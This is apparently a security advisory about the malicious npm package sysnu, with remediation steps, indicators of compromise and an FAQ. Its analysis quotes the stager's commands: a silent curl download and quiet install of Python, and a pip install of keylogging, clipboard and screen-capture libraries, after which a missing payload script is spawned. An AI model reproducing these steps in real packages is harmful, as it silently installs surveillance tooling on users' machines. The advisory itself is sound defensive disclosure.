Which versions of sysnu are malicious?

The following npm versions of sysnu are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate sysnu if I installed it?

sysnu is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed sysnu — how do I know if it already compromised me?

If sysnu was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is sysnu part of a known attack campaign?

Yes — sysnu is associated with the IN-MAL-2026-005656, IN-MAL-2026-005652 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find sysnu across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for sysnu (2 malicious versions).

Malicious package

sysnunpm

Advisory published Jun 11, 2026Updated Jun 11, 2026

sysnu is a confirmed malicious npm package (MAL-2026-5617) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sysnu (npm)

MAL-2026-5617

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall sysnu

What this malware does

On require() / CLI invocation, sysnu performs two install-time-equivalent actions on Windows hosts. First, if python is not on PATH, index.js (lines 42-46) runs curl -s -L -o <tmp>\python-3.12.3-amd64.exe https://www.python.org/ftp/python/3.12.3/python-3.12.3-amd64.exe and then executes the installer with /quiet InstallAllUsers=0 PrependPath=1, deleting the installer afterwards. Code comments explicitly describe this as a 'GHOST INSTALLER' with 'No UI, No Admin Popup' — i.e., the runtime is provisioned and PATH is mutated with no user consent. Second, index.js line 73 unconditionally runs pip install pyperclip keyboard requests pillow mss pyautogui pywin32 uiautomation comtypes --quiet — a Windows surveillance stack covering keylogging (keyboard), screen capture (mss/pillow), input automation (pyautogui), clipboard scraping (pyperclip), and UI automation (uiautomation/comtypes/pywin32). Index.js line 81 then spawns python pointer.py, but pointer.py is NOT present in the tarball, so the package is a stager awaiting an out-of-band payload that will execute with the freshly-installed surveillance primitives available. The package's advertised purpose ('System binary configuration tool') has no relationship to clipboard/keyboard/screen capture. Metadata is placeholder-grade (author 'ABC', no repository/homepage, generic description), consistent with a throwaway dropper account.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

6ce3c0fee91f5a835d43c1c136e3535f4ce0bff6c519d59166e95cf7f7cefa3a

eac9873e59ffdf79c56fd4f9366b56e0532f87dc00c4380fae18d714785b0bc8

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for sysnu (2 malicious versions).
If you installed it — respond
sysnu is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If sysnu was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. sysnu on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005656IN-MAL-2026-005652

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks sysnu-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database